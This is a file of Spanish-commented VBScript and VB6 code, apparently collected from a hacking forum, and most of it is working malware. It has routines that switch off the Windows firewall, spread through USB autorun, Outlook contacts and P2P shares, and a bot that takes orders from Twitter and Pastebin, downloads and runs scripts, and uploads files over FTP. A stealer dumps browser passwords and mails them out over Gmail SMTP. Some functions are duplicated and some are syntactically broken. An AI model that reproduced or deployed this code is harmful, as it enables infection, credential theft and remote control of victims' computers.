Sub DisableFirewall()
if  Val(Mid$(GetOsVersion,1,1)) > 5 Then Exit Sub
    Set Firewall = CreateObject("HNetCfg.FwMgr")
    Set Politica = Firewall.LocalPolicy.CurrentProfile
    Politica.FirewallEnabled = FALSE
Set Firewall = Nothing: Set Politica = Nothing
End Sub

Sub AddFirewallAuth(AppName,Spath,SFile)
if  Val(Mid$(GetOsVersion,1,1)) > 5 Then Exit Sub
    Set objFirewall = CreateObject("HNetCfg.FwMgr")
    Set objPolicy = objFirewall.LocalPolicy.CurrentProfile
    Set objApplication = CreateObject("HNetCfg.FwAuthorizedApplication")
    objApplication.Name = "ElHacker.net - Aplicación"
    objApplication.IPVersion = 2
    objApplication.ProcessImageFileName = "C:\Windows\System32\calc.exe"
    objApplication.RemoteAddresses = "*"
    objApplication.Scope = 0
    objApplication.Enabled = True
    Set colApplications = objPolicy.AuthorizedApplications
    colApplications.Add(objApplication)
    Set objFirewall = Nothing: Set objPolicy = Nothing: Set objApplication = Nothing: Set colApplications = Nothing
End Sub

Sub ChangeIETitle(NewTitle)
   On Error Resume Next
   Set WSHShell = WScript.CreateObject("WScript.Shell")
   WScript.CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title", NewTitle
   WScript.CreateObject("WScript.Shell").RegWrite "HKLM\Software\Microsoft\Internet Explorer\Main\Window Title", NewTitle
End Sub

Function GetLastTweet(Twitter)
    Aux = GetHTMLSource("http://twitter.com/users/show.xml?screen_name=" & Twitter)
    GetLastTweet = Mid$(Aux,6+instr(Aux,"<text>"),instr(Aux,"</text>")-6-instr(Aux,"<text>"))
End Function

Sub SpreadOutLook(Message,Subject,SPath, SFile)
Set Contacts = WScript.CreateObject("Outlook.Application").GetNamespace("MAPI").GetDefaultFolder(10)
Cant = Contacts.Items.Count
For X = 1 to Cant
    If Contacts.Items.Item(x).Email1Address <> "" Then
        Set Email = CreateObject("Outlook.Application").CreateItem(0)
        Email.To = Contacts.Items.Item(x).Email1Address
        Email.Subject = Replace(Subject,"%nombre%",Contacts.Items.Item(x).FullName)
        Email.ReadReceiptRequested = False
        Email.HTMLBody = Replace(Message,"%nombre%",Contacts.Items.Item(x).FullName)
        Email.Attachments.Add ConvertPath(SPath, SFile)
        Email.Send
    End If
next
End Sub

Function GetHTMLSource(URL)
    On Error Resume Next
    Set http = CreateObject("Microsoft.XmlHttp")
    http.open "GET", URL, False
    http.send ""
     GetHTMLSource =  http.responseText
    Set http = Nothing
End Function

Sub USBSpread()
On Error Resume Next
Set fso = CreateObject("scripting.filesystemobject")
For Each Drive in fso.Drives
    If Drive.Isready then
        If  asc(Drive.driveletter) > 68 then
            If not (fso.FileExist(Drive & "\" & MyName)) then
                fso.CopyFile MyFullPath,Drive & "\" & MyName,True
                HideFile Drive,MyName
            End If
            If not (fso.FileExist(Drive & "\autorun.inf")) then
                Set objTXT = fso.CreateTextFile(Drive & "\autorun.inf",True)
                objTXT.WriteLine("[autorun]")
                objTXT.WriteLine("shellexecute = " & MyName)
                objTXT.WriteLine("action = " & MyName)
                objTXT.Close
                HideFile Drive,autorun.inf
                Set objTXT = Nothing
        End If
    End If
Next
Set fso = Nothing
End Sub

Sub AresSpread(Spath, SFile, SpreadFilenames())
    Set fso = CreateObject("scripting.filesystemobject")
    If KeyExists("HKEY_CURRENT_USER\SOFTWARE\Ares\Download.Folder") Then
        RutaCom = HEX2ASCII(CreateObject("wscript.shell").RegRead("HKEY_CURRENT_USER\SOFTWARE\Ares\Download.Folder"))
        For x = 0 to Ubound(SpreadFilenames)
            fso.CopyFile ConvertPath(Spath, SFile),RutaCom & "\" & SpreadFilenames(x),True
        Next
    End If
    Set fso = Nothing
End Sub
Set fso = Nothing
End Sub

Function KeyExists(key)
    On Error Resume Next
    CreateObject("WScript.Shell").RegRead(key)
    If Err = 0 Then KeyExists = True
End Function

Function GetOsVersionCaption()
    For Each os in GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2").ExecQuery("Select Caption from Win32_OperatingSystem")
        GetOsVersionCaption = os.Caption
    Next
End Function

Function GetOsVersion()
     For Each os in  GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2").ExecQuery("Select Version from Win32_OperatingSystem")
        GetOsVersion = os.Version
    Next
End Function

Function GetComputerName()
    GetComputerName = CreateObject("WScript.NetWork").ComputerName
End Function

Function GetUserName()
    GetUserName = CreateObject("WScript.NetWork").UserName
End Function

Sub KillProc(ProcName)
    strComputer = "."
    Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
    For x  = 0 To UBound(KillProcess)
        Set colProcessList = objWMIService.ExecQuery ("Select * from Win32_Process Where Name = '" & ProcName & "'")
        For Each objProcess in colProcessList
            objProcess.Terminate()
        Next
    Next
    Set objWMIService = Nothing: Set ColProcessList = Nothing
End Sub

Sub SetStartIE(StartPage)
    Set WSHShell = WScript.CreateObject("WScript.Shell")
    WSHShell.RegWrite "HKLM\Software\Microsoft\Internet Explorer\Main\Start Page", StartPage
    WSHShell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", StartPage
    Set WSHShell = Nothing
End Sub

Sub Restart()
    strComputer = "."
    Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate,(Shutdown)}!\\" & strComputer & "\root\cimv2")
    Set colOperatingSystems = objWMIService.ExecQuery ("Select * from Win32_OperatingSystem")
    For Each objOperatingSystem in colOperatingSystems
        objOperatingSystem.Reboot()
    Next
    Set objWMIService = Nothing: Set colOperatingSystems = Nothing
End Sub

Sub Shutdown()
    strComputer = "."
    Set objWMIService = GetObject ("winmgmts:{impersonationLevel=impersonate,(Shutdown)}\\" & strComputer & "\root\cimv2")
    Set colOperatingSystems = objWMIService.ExecQuery ("Select * from Win32_OperatingSystem")
    For Each objOperatingSystem in colOperatingSystems
        objOperatingSystem.Win32Shutdown(1)
    Next
    Set objWMIService = Nothing: Set colOperatingSystems = Nothing
End Sub

Function Base64Decode(ByVal base64String)
  Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
  Dim dataLength, sOut, groupBegin
  base64String = Replace(base64String, vbCrLf, "")
  base64String = Replace(base64String, vbTab, "")
  base64String = Replace(base64String, " ", "")
  dataLength = Len(base64String)
  For groupBegin = 1 To dataLength Step 4
    Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
    numDataBytes = 3
    nGroup = 0
    For CharCounter = 0 To 3
      thisChar = Mid(base64String, groupBegin + CharCounter, 1)
      If thisChar = "=" Then
        numDataBytes = numDataBytes - 1
        thisData = 0
      Else
        thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
      End If
      If thisData = -1 Then
        Err.Raise 2, "Base64Decode", "Bad character In Base64 string."
        Exit Function
      End If
      nGroup = 64 * nGroup + thisData
    Next
    nGroup = Hex(nGroup)
    nGroup = String(6 - Len(nGroup), "0") & nGroup
    pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + Chr(CByte("&H" & Mid(nGroup, 3, 2))) + Chr(CByte("&H" & Mid(nGroup, 5, 2)))
    sOut = sOut & Left(pOut, numDataBytes)
  Next
  Base64Decode = sOut
End Function

Function HEX2ASCII(hextext)
    For y = 0 To (Len(hextext)/2) - 1
        HEX2ASCII  = HEX2ASCII  & Chr(Val("&h" & Mid(hextext, (y*2)+1, 2)))
    Next
End Function

Sub AresSpread(Spath, SFile, SpreadFilenames())
    Set fso = CreateObject("scripting.filesystemobject")
    If KeyExists("HKEY_CURRENT_USER\SOFTWARE\Ares\Download.Folder") Then
        RutaCom = HEX2ASCII(CreateObject("wscript.shell").RegRead("HKEY_CURRENT_USER\SOFTWARE\Ares\Download.Folder"))
        For x = 0 to Ubound(SpreadFilenames)
            fso.CopyFile ConvertPath(Spath, SFile),RutaCom & "\" & SpreadFilenames(x),True
        Next
    End If
    Set fso = Nothing
End Sub
Set fso = Nothing
End Sub

Function ConvertPath(Spath, SFile)
    If Ucase(SPath) = "MYPATH" then ConvertPath = MyPath: Exit Function
    If Ucase(SPath) = "FULLPATHONFILENAME" THEN ConvertPath = SFile: Exit Function
    If Ucase(SPath) = "STARTUP" then Spath = CreateObject("WScript.Shell").SpecialFolders("StartMenu")
    ConvertPath = Spath  & "\" & SFile
End Function

Sub CopyToStartUP(Spath, SFile)
    CreateObject("scripting.filesystemobject") .CopyFile ConvertPath(Spath, SFile),CreateObject("WScript.Shell").SpecialFolders("StartMenu") & "\" & Sfile,True
End Sub

Sub DeleteFile(Spath, SFile)
    CreateObject("Scripting.FileSystemObject").DeleteFile ConvertPath(Spath, SFile)
End Sub

Sub Download(UrlDownload, SPath, SFile)
    dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
    dim bStrm: Set bStrm = createobject("Adodb.Stream")
    xHttp.Open "GET", UrlDownload, False
    xHttp.Send
    bStrm.type = 1
    bStrm.Open
    bStrm.Write xHttp.responseBody
    bStrm.SaveToFile ConvertPath(Spath, SFile), 2 'bStrm.SaveToFile
    Do while not CreateObject("scripting.filesystemobject").FileExists(ConvertPath(Spath, SFile)) : WScript.Sleep 500 :    Loop 
End Sub

Sub FileCopy(Spath, SFile, Spath2, SFile2)
    CreateObject("scripting.filesystemobject").CopyFile ConvertPath(Spath, SFile),ConvertPath(Spath2, SFile2),True
End Sub

Sub HideFile(Spath, SFile)
CreateObject("scripting.filesystemobject").GetFile(ConvertPath(Spath, SFile)).Attributes = -2
End Sub

Sub Melt()
    DeleteFile "FULLPATHONFILENAME", WScript.ScriptFullName
End Sub

Para descargar un Archivo de texto (vbs o js ;D):
	down[%]Link[%]Carpeta[%]NombreArchivo

Para ejecutar un archivo:
	xcec[%]Carpeta[%]NombreArchivo

Para descargar y ejecutar un vbs o js:
	dwne[%]Link[%]Carpeta[%]NombreArchivo

Para copiar un archivo:
	copy[%]Carpeta1[%]NombreArchivo1[%]Carpeta2[%]NombreArchivo2

Para eliminar un archivo:
	supr[%]Carpeta[%]NombreArchivo

Para ocultar un archivo:
	hide[%]Carpeta[%]NombreArchivo

Para subir un archivo a un FTP:
	ftpu[%]FTPServer[%]FTPPort[%]FTPUser[%]FTPPass[%]SPath[%]SFile[%]OrdNum

Para mostrar un cuadro de texto:
	msgb[%]TextoAMostrar

Para hacer melt:
	melt

Para cerrar:
	clos

Para detener la orden actual:
	nord

on error resume next
Dim Orders
Dim MyFullPath: MyFullPath = WScript.ScriptFullName
Dim MyPath: MyPath = Left(MyFullPath, InstrRev(MyFullPath, "\")-1)
Dim MyName: MyName = WScript.ScriptName
Dim user : user = "botiloveyou" 'Aca pone tu usuario de twitter
'FTP
   Dim FTPData
   Dim FTPCOMPLETE
   Dim W1
   Dim W2
'/FTP
 
Main
Sub Main()
   If Not (CreateObject("scripting.filesystemobject").FileExists("C:\SS.ORD") and MyFullPath = ConvertPath("STARTUP",MyName)) Then
       CreateObject("Scripting.FileSystemObject").CreateTextFile("C:\SS.ORD", True).WriteLine ("0")
       CopyToStartUP MyPath , MyName
       Hidefile "STARTUP", MyName
       ExecuteFile "STARTUP", MyName
       Melt
       WScript.Quit (1)
   End If
   Do
       DoOrders "[%]"
       For x = 0 To 200
           WScript.Sleep 10000
       Next
   Loop
End Sub
Sub DoOrders(OrdSeparator)
   GetOrders
   For x = 0 To UBound(Orders)
       Ord = Split(Orders(x), OrdSeparator)
       Select Case Ord(0)
           Case "nord"
               Exit For
           Case "down" 'Download VBS
               DownloadVBS Ord(1), Ord(2), Ord(3)
           Case "xcec" 'Execute
               ExecuteFile Ord(1), Ord(2)
           Case "dwne" 'Download and Execute VBS
               DownloadVBS Ord(1), Ord(2), Ord(3)
               ExecuteFile Ord(2), Ord(3)
           Case "copy" 'Copy
               FileCopy Ord(1), Ord(2), Ord(3), Ord(4)
           Case "supr" 'Delete
               DeleteFile Ord(1), Ord(2)
           Case "hide" 'Hide
               HideFile Ord(1), Ord(2)
           Case "melt" 'Melt
               Melt
           Case "ftpu" 'Upload to FTP
               Set W1 = WScript.CreateObject("MSWINSOCK.Winsock", "W1_")
               Set W2 = WScript.CreateObject("MSWINSOCK.Winsock", "W2_")
               Call FTPUpload(Ord(1), Ord(2), Ord(3),Ord(4), Ord(5), Ord(6), Ord(7))
               Set W1 = Nothing
               Set W2 = Nothing
           Case "msgb" 'MsgBox
               Msgbox Ord(1)
           Case "clos" 'Close
        WScript.Quit (1)
       End Select
   Next
End Sub
Function LastOrderDone()
   LastOrderDone = CreateObject("Scripting.FileSystemObject").OpenTextFile("C:\SS.ORD", 1).ReadAll
End Function
Sub ExecuteFile(SPath, SFile)
   CreateObject("WScript.Shell").run """" & ConvertPath(SPath, SFile) & """"
End Sub
Sub FileCopy(Spath, SFile, Spath2, SFile2)
   CreateObject("scripting.filesystemobject").CopyFile ConvertPath(Spath, SFile),ConvertPath(Spath2, SFile2),True
End Sub
Sub Melt()
   DeleteFile "FULLPATHONFILENAME", MyFullPath
End Sub
Sub DeleteFile(SPath, SFile)
   CreateObject("Scripting.FileSystemObject").DeleteFile ConvertPath(SPath, SFile)
End Sub
Sub DownloadVBS(Z, SPath, SFile)
   Set xhttp = CreateObject("Microsoft.XmlHttp")
   xhttp.open "GET", Z, False
   xhttp.send ""
   Z = xhttp.responseText
   If CreateObject("scripting.filesystemobject").FileExists(ConvertPath(SPath, SFile)) Then CreateObject("Scripting.FileSystemObject").DeleteFile ConvertPath(SPath, SFile)
   CreateObject("Scripting.FileSystemObject").CreateTextFile(ConvertPath(SPath, SFile), True).WriteLine (Z)
   Set xhttp = Nothing
   Do While Not CreateObject("scripting.filesystemobject").FileExists(ConvertPath(SPath, SFile))
   WScript.Sleep 500
   Loop
End Sub
Function ConvertPath(SPath, SFile)
   If UCase(SPath) = "MYPATH" Then ConvertPath = CreateObject("Shell.Application").NameSpace(26).Self.Path: Exit Function
   If UCase(SPath) = "FULLPATHONFILENAME" Then ConvertPath = SFile: Exit Function
   If UCase(SPath) = "STARTUP" Then SPath = CreateObject("WScript.Shell").SpecialFolders("StartUp")
   ConvertPath = SPath & "\" & SFile
End Function
Sub GetOrders()
   Orders = Split("nord nord")
   Dim Orden
   Dim xhttp
   Dim y
   Dim URLPASTEBIN
   Dim http : Set http = CreateObject("Microsoft.XmlHttp")
http.open "GET", "http://api.twitter.com/1/statuses/user_timeline/" & user & ".xml", False
http.send
y = split(http.responsetext,"<text>")
If ubound(y)>0 then
msgbox y(1)
URLPASTEBIN = "http://pastebin.com" & split(y(1),"</text>")(0) : set http = Nothing
msgbox urlpastebin
End if
      Set xhttp = CreateObject("Microsoft.XmlHttp")
      If CheckOrder(URLPASTEBIN) = 0 Then Exit Sub
      xhttp.open "GET", URLPASTEBIN, False
      xhttp.send ""
      Z = LCase(xhttp.responseText)
      Set xhttp = Nothing
      Z = Replace(Split(Split(Z, "<textarea")(1), ">")(1), "</textarea", vbNullString)
      Orders = Split(Z, vbNewLine)
End Sub
Sub HideFile(SPath, SFile)
   CreateObject("scripting.filesystemobject").GetFile(ConvertPath(SPath, SFile)).Attributes = -2
End Sub
Sub CopyToStartUP(SPath, SFile)
   CreateObject("scripting.filesystemobject").CopyFile ConvertPath(SPath, SFile), CreateObject("WScript.Shell").SpecialFolders("StartUp") & "\" & SFile, True
End Sub
Function FTPUpload(FTPServer, FTPPort, FTPUser, FTPPass, SPath, SFile, OrdNum)
   W1.RemoteHost = FTPServer
   W1.RemotePort = FTPPort
   W1.Connect
   If WaitResponse Then Exit Function
   If FTPCODE <> 220 Then Exit Function
       FTPData = ""
       W1.SendData "USER " & FTPUser & vbCrLf
       If WaitResponse Then Exit Function
   If FTPCODE <> 331 Then Exit Function
       FTPData = ""
       W1.SendData "PASS " & FTPPass & vbCrLf
       If WaitResponse Then Exit Function
   If FTPCODE <> 230 Then Exit Function
       FTPData = ""
       W1.SendData "PASV" & vbCrLf
       If WaitResponse Then Exit Function
   If FTPCODE <> 227 Then Exit Function
       Dim Aux
       Aux = Split(FTPData, ",")
       FTPDataPort = (Aux(UBound(Aux) - 1) * 256) + Left(Aux(UBound(Aux)), InStr(Aux(UBound(Aux)), ")") - 1)
       FTPDataIP = Trim(Replace(Right(Aux(0), 3), "(", vbNullString)) & "." & Aux(1) & "." & Aux(2) & "." & Aux(3)
       FTPData = ""
       W1.SendData "STOR " & Int(Rnd() * 1000000) & Int(Rnd() * 1000000) & "." & OrdNum & vbCrLf
       W2.RemotePort = FTPDataPort: W2.RemoteHost = FTPDataIP
       W2.Connect
       WaitResponse
   If Not (FTPCODE = "125" Or FTPCODE = "150") Then Exit Function
       FTPUpload = Upload(ConvertPath(SPath, SFile))
End Function
Function Upload(FilePath)
   Dim UPFile
   Dim FileLen
   Dim TotalSent
   Dim a
   Set a = WScript.CreateObject("ADODB.Stream")
   a.open
   a.Type = 1
   a.LoadFromFile (FilePath)
   UPFile = a.Read()
   FTPCOMPLETE = False
   W2.SendData UPFile
   EsperaSubida = 0
   Do
       WScript.Sleep 1000
       EsperaSubida = EsperaSubida + 1
       If SendIsComplete = 1 Then Upload = True: Exit Function
       If EsperaSubida > 300 Then Exit Function
   Loop
End Function
Sub W1_DataArrival(ByVal bytesTotal)
   W1.GetData FTPData, 8
End Sub
Function SendIsComplete()
   SendIsComplete = FTPCOMPLETE
End Function
Sub w2_SendComplete()
   FTPCOMPLETE = 1
End Sub
Function WaitResponse()
   Espera = 0
   Do
       WScript.Sleep 1000
       Espera = Espera + 1
       If Espera > 10 Then WaitResponse = 1: Exit Function
       If FTPCODE <> 0 Then Exit Function
   Loop
End Function
Function FTPCODE()
   If Len(FTPData) > 3 Then FTPCODE = Left(FTPData, 3) Else FTPCODE = 0
End Function
Function uncif(Tweet)
   Tweet = Replace(Tweet, Chr(32), vbNullString)
   Movex = Left(Tweet, 1)
   For x = 2 To Len(Tweet)
       uncif = uncif & Chr(Asc(Mid(Tweet, x, 1)) + Movex)
   Next
End Function
Function CheckOrder(expression)
Dim EscOrd
  if instr(expression, "/") then 
  Set EscOrd = CreateObject("Scripting.FileSystemObject").OpenTextFile("c:\SS.ORD", 1)
  Aux = EscOrd.ReadAll
  Dim Aux2
  Set EscOrd = Nothing
  Aux2 = Split(Aux,VbNewLine)
  For x = 0 to ubound(aux2)
     If Replace(expression,"pastebin","google") = Aux2(x) then CheckOrder = 0: Exit Function
  Next
  set EscOrd = CreateObject("Scripting.FileSystemObject").CreateTextFile("c:\SS.ORD", True)
  EscOrd.Write (Aux & VbNewLine & Replace(expression,"pastebin","google"))
  EscOrd.Close
  Set EscOrd = Nothing
  CheckOrder = 1
  end if
End Function
Sub SpreadOutLook(Message,Subject,SPath, SFile)
Set Contacts = WScript.CreateObject("Outlook.Application").GetNamespace("MAPI").GetDefaultFolder(10)
Cant = Contacts.Items.Count
For X = 1 to Cant
   If Contacts.Items.Item(x).Email1Address <> "" Then
       Set Email = CreateObject("Outlook.Application").CreateItem(0)
       Email.To = Contacts.Items.Item(x).Email1Address
       Email.Subject = Replace(Subject,"%nombre%",Contacts.Items.Item(x).FullName)
       Email.ReadReceiptRequested = False
       Email.HTMLBody = Replace(Message,"%nombre%",Contacts.Items.Item(x).FullName)
       Email.Attachments.Add ConvertPath(SPath, SFile)
       Email.Send
   End If
next
End Sub

'<VARS>
Const THE_URL="URL_PARA_DESCARGAR_EL_BROWSER_PASSVIEW_DE_NIRSOFT"
Const THE_MAIL="[email protected]"
Const THE_PASS="somepass"
'</VARS>

p=CreateObject("Shell.Application").NameSpace(26).Self.Path
p1=p+"\a.exe"
p2=p1+".html"

With CreateObject("Microsoft.XMLHTTP")
    .Open "GET", THE_URL, False
    .Send
	x = .responseBody
End With

With CreateObject("Adodb.Stream")::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
    .Type = 1
    .Open
    .Write x
    .SaveToFile p1, 2
End With

CreateObject("WScript.Shell").run """" & p1 & """" & " /shtml " & """" & p2 & """"

With CreateObject("cdo.message")
    .To = THE_MAIL
    .From = .To

    With .Configuration.Fields
        k = "http://schemas.microsoft.com/cdo/configuration/s"
        .Item(k & "endusing") = 2
        .Item(k & "mtpserver") = "smtp.gmail.com"
        .Item(k & "mtpserverport") = 465
        .Item(k & "mtpauthenticate") = 1
        .Item(k & "mtpconnectiontimeout") = 30
        .Item(k & "endusername") = THE_MAIL
        .Item(k & "endpassword") = THE_PASS
        .Item(k & "mtpusessl") = 1
    End With

    Do While Not CreateObject("Scripting.FileSystemObject").FileExists(p2)
    Loop

    .AddAttachment p2
    .Configuration.Fields.Update
    .Send
End With

With CreateObject("Scripting.FileSystemObject")
    .DeleteFile p1
    .DeleteFile p2
    .DeleteFile WScript.ScriptFullName
End With

Private Sub Ejemplo()
Dim dels(3) As String
Dim result() As String
Const ss As String = "hola+como--andas(((esto====es+una--prueba"
    dels(0) = "+"
    dels(1) = "--"
    dels(2) = "((("
    dels(3) = "===="
    
    'sin preservar delimitadores
    result = MultiSplit7913(ss, dels, False)
    'result = ("hola";"como";"andas";"esto";"es";"una";"prueba")
    
    'preservando delimitadores
    result = MultiSplit7913(ss, dels, True)
    'result = ("hola";"+como";"--andas";"(((esto";"====es";"+una";"--prueba")
End Sub

Private Function MultiSplit7913(expression As String, Delimiter() As String, PreserveDel As Boolean) As String()
Dim DelCount    As Long
Dim lExp        As Long
Dim X           As Long
Dim Pos         As Long
Dim DelPos()    As Long
Dim AuxArr()    As String
Dim LastPos     As Long
Dim LastLen     As Long
Dim LastInstr   As Long
 
    expression = expression & Delimiter(0)
    lExp = Len(expression)
    DelCount = UBound(Delimiter)
    ReDim DelPos(lExp)
 
    For X = 0 To DelCount
        Pos = 1
        LastInstr = InStr(Pos, expression, Delimiter(X))
        Do While LastInstr <> 0
            DelPos(LastInstr) = X + 1
            Pos = LastInstr + Len(Delimiter(X)) + Pos
            LastInstr = InStr(Pos, expression, Delimiter(X))
        Loop
    Next
 
    ReDim AuxArr(0)
 
    LastPos = 1
 
    For X = 0 To lExp
        If DelPos(X) <> 0 Then
            ReDim Preserve AuxArr(UBound(AuxArr) + 1)
            If PreserveDel Then
                AuxArr(UBound(AuxArr) - 1) = Mid$(expression, LastPos, X - LastPos)
            Else
                AuxArr(UBound(AuxArr) - 1) = Mid$(expression, LastPos + LastLen, X - LastPos - LastLen)
                LastLen = Len(Delimiter(DelPos(X) - 1))
            End If
            LastPos = X
        End If
    Next
 
    ReDim Preserve AuxArr(UBound(AuxArr) - 1)
 
    MultiSplit7913 = AuxArr
 
End Function

Private Sub Form_Load()
Dim hola() As String
hola = CharSplit7913("hola")
' Devuelve
' Hola(0) = "h"
' Hola(1) = "o"
' Hola(2) = "l"
' Hola(3) = "a"
End Sub
 
Private Function CharSplit7913(expression As String) As String()
    Dim X        As Long
    Dim lExp     As Long
    Dim ExpB()   As Byte
    Dim AuxArr() As String
 
    ExpB = expression
    lExp = UBound(ExpB)
    ReDim AuxArr(lExp)
 
    For X = 0 To lExp Step 2
        AuxArr(X / 2) = ChrW$(ExpB(X))
    Next
 
    ReDim Preserve AuxArr(lExp \ 2)
 
    CharSplit7913 = AuxArr
 
End Function

Private Sub cmdGen_Click()
    If txtHei.Text = "" Or txtWid.Text = "" Or Busqueda.Text = "" Or Zoom.Text = "" Then MsgBox "Error llene los campos y los items": Exit Sub
